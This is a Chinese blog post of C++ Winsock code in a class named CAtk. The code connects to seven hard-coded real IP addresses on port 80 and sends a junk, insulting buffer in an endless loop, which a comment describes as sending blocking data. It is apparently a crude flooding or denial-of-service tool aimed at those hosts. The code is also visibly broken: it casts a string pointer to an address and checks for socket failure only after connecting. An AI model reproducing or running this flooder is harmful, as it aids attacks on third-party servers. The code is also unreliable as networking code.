首页 > 其他分享 >填IP那个就算是接口式开发,这回随便填

填IP那个就算是接口式开发,这回随便填

时间:2024-06-01 10:55:52浏览次数:21  
标签:soc socket IP inster List 接口 ins 这回 include

///////////////////////////////////////////////////////////
using namespace std;

#include<stdlib.h>
#pragma comment(lib,"WS2_32.lib")
#include <corecrt_wstdlib.h>
#include <iostream>
#include<stdio.h>
#include <Windows.h>
#include<list>

////////////////////////////////////////////////////////////


class CAtk
{
public:
WSADATA wsd;
list<SOCKET> m_socket;

int retVal;//调用Socket函数的返回值
char buf[200];

 

CAtk() {};
~CAtk() {};

void Init()
{
//初始化Socket环境
if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) {
printf("WSAStartup failed!\n");
}

sprintf_s(buf, "鸟人猪守屎&烫烫&很甜懒子很园 4/0/7 ; *0.0000001f; ;0* ;int 3; & Math_PI;");

inster_List("104.21.42.44");

inster_List("38.12.18.7");

inster_List("150.129.82.170");

inster_List("103.178.56.133");

inster_List("58.217.250.18");

inster_List("47.104.139.74");

inster_List("154.29.148.11");
};


void inster_List(const char* IP)
{
if (IP == "")
{
return;
}

SOCKADDR_IN ins;
ins.sin_addr.S_un.S_addr = (ULONG)IP;
ins.sin_family = AF_INET;
ins.sin_port = htons(80);

SOCKET soc;
soc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(soc, (LPSOCKADDR)&ins, sizeof(ins));

if (INVALID_SOCKET == soc)
{
printf("socket failed!\n");
return;
}

m_socket.push_back(soc);

};


void loopSend()
{
list<SOCKET>::iterator it = m_socket.begin();

AS:
if (it == m_socket.end())
{
it = m_socket.begin();
}

send(*it, buf, 200, 0);

it++;

goto AS;


};
};


CAtk g_atk;

int main()
{
g_atk.Init();

//循环发送阻塞数据
g_atk.loopSend();

return 0;
};

标签:soc,socket,IP,inster,List,接口,ins,这回,include
From: https://www.cnblogs.com/wscccc/p/18225656

相关文章

  • 《计算机网络微课堂》实验2 MAC地址,IP地址,ARP协议
    本仿真实验的内容是验证MAC地址与IP地址的关系,以及ARP协议的作用。我们首先拖动两台计算机到逻辑工作空间,然后选择自动连线,让他们互联起来,作为左边这台计算机配置IP地址192.168.0.1,给右边这台计算机配置IP地址192.168.0.2,我们可以在右边的工具栏点击查看,来查看计算机......
  • 运用JavaScript代码,使用Three.js框架在网页中实现3D效果,零基础入门Three.js,包含具体实
    不经意间看到了某个大佬做的网站~实在是太帅啦!查了查实现该效果的技术——原来是Three.js如果你也感兴趣的话,那就让我们来从零开始学习Three.js动态3D效果吧✨一、了解Three.js是基于原生WebGL封装运行的三维引擎,在所有WebGL引擎中,Three.js是国内文资料最多、使......
  • python 通过 subprocess 运行的代码 exit(1) 不能使得pipeline fail
    在使用Python的subprocess模块运行外部命令时,如果你希望子进程的退出状态码能够影响Python脚本的执行结果,尤其是在使用管道(pipeline)时,你需要手动检查子进程的返回码并采取相应的措施。简单地使用subprocess.run或subprocess.call运行子进程并不会自动使Python脚......
  • 继承,super,重写,多态,抽象,接口
    继承,super,重写,多态,抽象,接口继承extends用于表示两个类之间的继承关系,继承是OOP的四大特性之一,他允许一个类(称之为子类或派送类)继承另一个类(称之为父类或基类)的变量和方法,子类可以复用父类的方法和变量,也可以添加和覆盖父类的方法和变量extends的基本语法使......
  • python pip install git+ssh
    网上比较容易找到的是pipinstallgit+https://github.com/waketzheng/fastapi-cdn-host.git这种方式如果电脑未配置或没启用外网加速器,这种方式简直慢得像蜗牛,改用ssh则会块很多很多:一般情况pipinstallgit+ssh://[email protected]/waketzheng/fastapi-cdn-host.git即:只需把h......
  • 接口测试基础
    定义基于不同的输入参数,校验接口响应数据与预期数据是否一致。后端开发完成后可以先进行接口测试,提前介入测试,尽早发现问题。接口测试学习内容1.接口测试用例设计2.工具实现接口测试,主要就是利用postman或者其他工具测试3.代码实现接口测试,也就是接口自动化测试URL1.URL:是......
  • Java练习(综合运用继承性、多态性、接口)
    在这个练习中,我们定义了一个接口`Animal`,其中包含一个方法`sound()`。之后,我们创建了一个基类`Mammal`,实现了`Animal`接口,并提供了一个默认的`sound()`方法实现。接着,我们定义了两个继承自`Mammal`的子类`Dog`和`Cat`,分别重写了`sound()`方法。在`main`方法中,我们创建了一个......
  • 每日一练编程题:今天是【接口,多态】
    设计程序:电脑类的属性USB接口数组:有3个usb插口电脑类的功能:通过接口插入外设(u盘,麦克风,键盘等)addUSB(USBusb){}开机要求:电脑开机前,先启动外设关机要求:电脑关机前,先关闭外设外设类(u盘,麦克风,键盘等)功能:启动关闭USB接口定义usb设备的统一......
  • Ubuntu server 24 (Linux) Snort3 3.2.1.0 Guardian IPtables 联动实战 主动防御系统(
    一  Snort3安装配置,参考:Ubuntuserver24安装配置snort33.2.1.0网络入侵检测防御系统配置注册规则集-CSDN博客二  安装主动防御程序Guardian1下载,解压tarzxvfguardian-1.7.tar.gzcdguardian-1.7/2 配置#拷贝文件sudocpguardian.pl/usr/local/bin/......